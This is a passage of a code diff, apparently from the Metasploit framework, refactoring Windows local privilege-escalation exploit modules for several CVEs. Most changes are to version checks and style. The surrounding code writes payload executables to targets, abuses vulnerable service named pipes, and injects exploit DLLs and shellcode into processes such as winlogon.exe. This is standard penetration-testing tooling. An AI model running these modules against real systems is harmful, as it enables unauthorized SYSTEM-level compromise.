b/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb @@ -85,7 +85,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/ + version = get_version_info + if version.windows_server? vprint_good('OS seems vulnerable.') else vprint_error('OS is not vulnerable!') diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb index 156b040a89b8b..08de17bcef7b9 100644 --- a/modules/exploits/windows/local/ipass_launch_app.rb +++ b/modules/exploits/windows/local/ipass_launch_app.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows', {} ] @@ -64,9 +64,7 @@ def initialize(info = {}) end def check - os = sysinfo['OS'] - - unless os =~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Safe end @@ -122,7 +120,7 @@ def write_named_pipe(handle, command) def is_running? begin status = service_status('iPlatformService') - rescue RuntimeError => e + rescue RuntimeError print_error('Unable to retrieve service status') return false end @@ -135,15 +133,15 @@ def exploit fail_with(Failure::NoTarget, 'Session is already elevated') end - handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE") + handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found") + fail_with(Failure::NoTarget, '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found') else - print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...") + print_status('Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...') end - if datastore['WritableDir'] and not datastore['WritableDir'].empty? + if datastore['WritableDir'] && !datastore['WritableDir'].empty? temp_dir = datastore['WritableDir'] else temp_dir = client.sys.config.getenv('TEMP') @@ -160,7 +158,7 @@ def exploit print_status('Writing malicious exe to remote filesystem') write_path = pwd - exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" + exe_name = "#{rand_text_alpha(rand(10..19))}.exe" begin write_file(exe_name, generate_payload_exe) diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index ce40197007e66..f06b827a5bfdc 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows', {} ] @@ -70,9 +70,7 @@ def initialize(info = {}) end def check - os = sysinfo['OS'] - - unless os =~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Safe end @@ -146,7 +144,7 @@ def exploit print_status('Giving the service some time to start...') Rex.sleep(datastore['Sleep']) - print_status("Getting security token...") + print_status('Getting security token...') token = get_security_token(su_directory) vprint_good("Security token is: #{token}") @@ -166,7 +164,7 @@ def exploit print_status('Writing malicious exe to remote filesystem') write_path = pwd - exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" + exe_name = "#{rand_text_alpha(rand(10..19))}.exe" begin write_file(exe_name, generate_payload_exe) @@ -178,7 +176,7 @@ def exploit print_status('Sending Execute command to update service') begin - write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") + write_res = write_named_pipe('\\\\.\\pipe\\SUPipeServer', "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") rescue Rex::Post::Meterpreter::RequestError fail_with(Failure::Unknown, 'Failed to write to pipe') end diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb index 86436d0799d73..6cbdfba47eef4 100644 --- a/modules/exploits/windows/local/mov_ss.rb +++ b/modules/exploits/windows/local/mov_ss.rb @@ -77,8 +77,8 @@ def initialize(info = {}) def setup super - @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) - @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @@ -88,12 +88,10 @@ def setup end def validate_active_host - begin - print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - raise Msf::Exploit::Failed, 'Could not connect to session' - end + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_remote_path(path) @@ -106,7 +104,8 @@ def validate_target if sysinfo['Architecture'] != ARCH_X64 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3) fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end @@ -151,56 +150,45 @@ def execute_exploit end def exploit_dll - begin - print_status('Checking target...') - validate_active_host - validate_target - print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!') - encoded_payload = payload.encoded - execute_dll( - ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'), - encoded_payload - ) - print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - print_error(e.message) - end + print_status('Checking target...') + validate_active_host + validate_target + print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!') + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'), + encoded_payload + ) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + print_error(e.message) end def exploit_exe - begin - validate_remote_path(temp_path) - ensure_clean_exploit_destination - ensure_clean_payload_destination - upload_exploit - upload_payload - execute_exploit - print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - print_error(e.message) - ensure_clean_exploit_destination - ensure_clean_payload_destination - end + validate_remote_path(temp_path) + ensure_clean_exploit_destination + ensure_clean_payload_destination + upload_exploit + upload_payload + execute_exploit + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + print_error(e.message) + ensure_clean_exploit_destination + ensure_clean_payload_destination end def exploit - begin - validate_active_host - validate_target - if datastore['USE_INJECTION'] - exploit_dll - else - exploit_exe - end + validate_active_host + validate_target + if datastore['USE_INJECTION'] + exploit_dll + else + exploit_exe end end - attr_reader :exploit_name - attr_reader :payload_name - attr_reader :payload_exe - attr_reader :temp_path - attr_reader :payload_path - attr_reader :exploit_path + attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index da15d0ba3b9a8..f948dc532b770 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -53,7 +53,7 @@ def initialize(info = {}) 'DisclosureDate' => '2014-07-22', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [ CRASH_OS_RESTARTS, ], + 'Stability' => [ CRASH_OS_RESTARTS, ] }, 'Compat' => { 'Meterpreter' => { @@ -97,11 +97,10 @@ def check end session.railgun.kernel32.CloseHandle(handle) - os = sysinfo['OS'] - case os - when /windows xp.*service pack 3/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 return Exploit::CheckCode::Appears - when /windows xp/i + elsif version.xp_or_2003? && !version.windows_server? vprint_error('Unsupported version of Windows XP detected') return Exploit::CheckCode::Detected else @@ -122,7 +121,7 @@ def exploit # Running on Windows XP versions that aren't listed in the supported list # results in a BSOD and so we should not let that happen. if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end base_addr = 0xffff diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index d603a05f3712b..5709c200f7880 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -11,49 +11,51 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows SYSTEM Escalation via KiTrap0D', - 'Description' => %q{ - This module will create a new session with SYSTEM privileges via the - KiTrap0D exploit by Tavis Ormandy. If the session in use is already - elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, - and is not supported on x64 editions of Windows. - }, - 'License' => MSF_LICENSE, - 'Author' => [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows SYSTEM Escalation via KiTrap0D', + 'Description' => %q{ + This module will create a new session with SYSTEM privileges via the + KiTrap0D exploit by Tavis Ormandy. If the session in use is already + elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, + and is not supported on x64 editions of Windows. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ - [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] - ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'CVE', '2010-0232' ], - [ 'OSVDB', '61854' ], - [ 'MSB', 'MS10-015' ], - [ 'EDB', '11199' ], - [ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ] - ], - 'DisclosureDate'=> '2010-01-19' - )) - + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'CVE', '2010-0232' ], + [ 'OSVDB', '61854' ], + [ 'MSB', 'MS10-015' ], + [ 'EDB', '11199' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ] + ], + 'DisclosureDate' => '2010-01-19' + ) + ) end def check # Validate platform architecture - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end # Validate OS version - winver = sysinfo["OS"] - unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP1) return Exploit::CheckCode::Safe end @@ -66,17 +68,16 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - print_status("Reflectively injecting payload and triggering the bug...") + print_status('Reflectively injecting payload and triggering the bug...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-0232', 'kitrap0d.x86.dll'), encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end - diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 31c9fffff566f..9e7117267b6a0 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -127,12 +127,9 @@ def exploit mytarget = target if mytarget.name =~ /Automatic/ - os = sysinfo['OS'] - mytarget = targets[1] if os =~ /windows xp/i - mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i) - if (os =~ /\.net server/i) && (os =~ /service pack 2/i) - mytarget = targets[2] - end + version = get_version_info + mytarget = targets[1] if version.build_number.between?(Msf::WindowsVersion::XP_SP2, Msf::WindowsVersion::XP_SP3) + mytarget = targets[2] if version.build_number == Msf::WindowsVersion::Server2003_SP2 if mytarget.name =~ /Automatic/ print_error('Could not identify the target system, it may not be supported') @@ -142,7 +139,7 @@ def exploit end if is_system? - print_error('This meterpreter session is already running as SYSTE') + print_error('This meterpreter session is already running as SYSTEM') return end diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb index 5e2cd8606cfda..befebff80a329 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 7 SP0/SP1', {} ] @@ -68,12 +68,11 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - unless (os =~ /windows/i) + unless session.platform == 'windows' return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -83,8 +82,8 @@ def check when 7601 if branch == 18 return Exploit::CheckCode::Appears if revision < 18176 - else - return Exploit::CheckCode::Appears if revision < 22348 + elsif revision < 22348 + return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe @@ -95,26 +94,26 @@ def exploit fail_with(Failure::None, 'Session is already elevated') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end - print_status("Launching notepad to host the exploit...") - notepad_process_pid = cmd_exec_get_pid("notepad.exe") + print_status('Launching notepad to host the exploit...') + notepad_process_pid = cmd_exec_get_pid('notepad.exe') begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError - print_error("Operation failed. Hosting exploit in the current process...") + print_error('Operation failed. Hosting exploit in the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1300', 'schlamperei.x86.dll') library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") @@ -124,18 +123,18 @@ def exploit client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) client.sys.process.each_process do |p| - if p['name'] == "winlogon.exe" - winlogon_pid = p['pid'] - print_status("Found winlogon.exe with PID #{winlogon_pid}") + next unless p['name'] == 'winlogon.exe' - if execute_shellcode(payload.encoded, nil, winlogon_pid) - print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") - else - print_error("Failed to start payload thread") - end + winlogon_pid = p['pid'] + print_status("Found winlogon.exe with PID #{winlogon_pid}") - break + if execute_shellcode(payload.encoded, nil, winlogon_pid) + print_good('Everything seems to have worked, cross your fingers and wait for a SYSTEM shell') + else + print_error('Failed to start payload thread') end + + break end end end diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index e97e1cc3f0224..1ecaf609155f4 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking @@ -13,64 +12,62 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', - 'Description' => %q{ - This module exploits a vulnerability in win32k.sys where under - specific conditions TrackPopupMenuEx will pass a NULL pointer to - the MNEndMenuState procedure. This module has been tested - successfully on Windows 7 SP0 and Windows 7 SP1. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Seth Gibson', # vulnerability discovery - 'Dan Zentner', # vulnerability discovery - 'Matias Soler', # vulnerability analysis - 'Spencer McIntyre' - ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - [ 'Windows 7 SP0/SP1', { } ] - ], - 'Payload' => + def initialize(info = {}) + super( + update_info( + info, { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - [ 'CVE', '2013-3881' ], - [ 'OSVDB', '98212' ], - [ 'BID', '62830'], - [ 'MSB', 'MS13-081' ], - [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], - [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] - ], - 'DisclosureDate' => '2013-10-08', - 'DefaultTarget' => 0, - 'Notes' => - { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page', + 'Description' => %q{ + This module exploits a vulnerability in win32k.sys where under + specific conditions TrackPopupMenuEx will pass a NULL pointer to + the MNEndMenuState procedure. This module has been tested + successfully on Windows 7 SP0 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Seth Gibson', # vulnerability discovery + 'Dan Zentner', # vulnerability discovery + 'Matias Soler', # vulnerability analysis + 'Spencer McIntyre' + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows 7 SP0/SP1', {} ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + [ 'CVE', '2013-3881' ], + [ 'OSVDB', '98212' ], + [ 'BID', '62830'], + [ 'MSB', 'MS13-081' ], + [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], + [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] + ], + 'DisclosureDate' => '2013-10-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check - os = sysinfo["OS"] - if (os =~ /windows/i) == nil + if session.platform != 'windows' return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -91,22 +88,22 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. - print_status("Reflectively injecting the exploit DLL and triggering the exploit...") + print_status('Reflectively injecting the exploit DLL and triggering the exploit...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'), encoded_payload ) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index cd401eea044f9..a9c6c84777788 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,76 +12,73 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', - 'Description' => %q{ - This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability - can be triggered through the use of TrackPopupMenu. Under special conditions, the - NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary - code execution. This module has been tested successfully on Windows XP SP3, Windows - 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows - 2008 R2 SP1 64 bits. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'juan vazquez', # msf module (x86 target) - 'Spencer McIntyre', # msf module (x64 target) - 'OJ Reeves ' - ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - # Tested on (32 bits): - # * Windows XP SP3 - # * Windows 2003 SP2 - # * Windows 7 SP1 - # * Windows 2008 - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - # Tested on (64 bits): - # * Windows 7 SP1 - # * Windows 2008 R2 SP1 - [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => - { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - ['CVE', '2014-4113'], - ['OSVDB', '113167'], - ['BID', '70364'], - ['MSB', 'MS14-058'], - ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] - ], - 'DisclosureDate' => '2014-10-14', - 'DefaultTarget' => 0, - 'Notes' => + def initialize(info = {}) + super( + update_info( + info, { - 'Stability' => [ CRASH_OS_RESTARTS, ], - }, - })) + 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', + 'Description' => %q{ + This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability + can be triggered through the use of TrackPopupMenu. Under special conditions, the + NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary + code execution. This module has been tested successfully on Windows XP SP3, Windows + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows + 2008 R2 SP1 64 bits. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez', # msf module (x86 target) + 'Spencer McIntyre', # msf module (x64 target) + 'OJ Reeves ' + ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + # Tested on (32 bits): + # * Windows XP SP3 + # * Windows 2003 SP2 + # * Windows 7 SP1 + # * Windows 2008 + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 2008 R2 SP1 + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2014-4113'], + ['OSVDB', '113167'], + ['BID', '70364'], + ['MSB', 'MS14-058'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] + ], + 'DisclosureDate' => '2014-10-14', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ] + } + } + ) + ) end def check - os = sysinfo["OS"] - - if os !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -101,18 +97,18 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86 + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - elsif sysinfo["Architecture"] == ARCH_X64 && target.arch.first == ARCH_X86 + elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') - elsif sysinfo["Architecture"] == ARCH_X86 && target.arch.first == ARCH_X64 + elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end - print_status("Reflectively injecting the exploit DLL and triggering the exploit...") + print_status('Reflectively injecting the exploit DLL and triggering the exploit...') if target.arch.first == ARCH_X86 dll_file_name = 'cve-2014-4113.x86.dll' else diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index e7acae96209cc..1c2d0c4720ca2 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -76,9 +76,9 @@ def check temp = get_env('WINDIR') dll_path = "#{temp}\\System32\\TSWbPrxy.exe" - win_ver = sysinfo['OS'] + version = get_version_info - unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/ + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2) return Exploit::CheckCode::Safe end @@ -99,8 +99,8 @@ def exploit fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment') end - win_ver = sysinfo['OS'] - if win_ver =~ /Windows 2012|Windows 8/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81) fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment') end @@ -113,7 +113,7 @@ def exploit cmd = cmd_psh_payload( payload.encoded, payload_instance.arch.first, - { :remove_comspec => true } + { remove_comspec: true } ) print_status('Storing payload on environment variable...') diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index a9775be03ed20..8d44364bf728e 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'Windows ClientCopyImage Win32k Exploit', - 'Description' => %q{ - This module exploits improper object handling in the win32k.sys kernel mode driver. - This module has been tested on vulnerable builds of Windows 7 x64 and x86, and - Windows 2008 R2 SP1 x64. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'hfirefox', # Code released on github - 'OJ Reeves', # msf module - 'Spencer McIntyre' # msf module - ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => { - 'EXITFUNC' => 'thread', - }, - 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2015-1701'], - ['MSB', 'MS15-051'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], - ['URL', 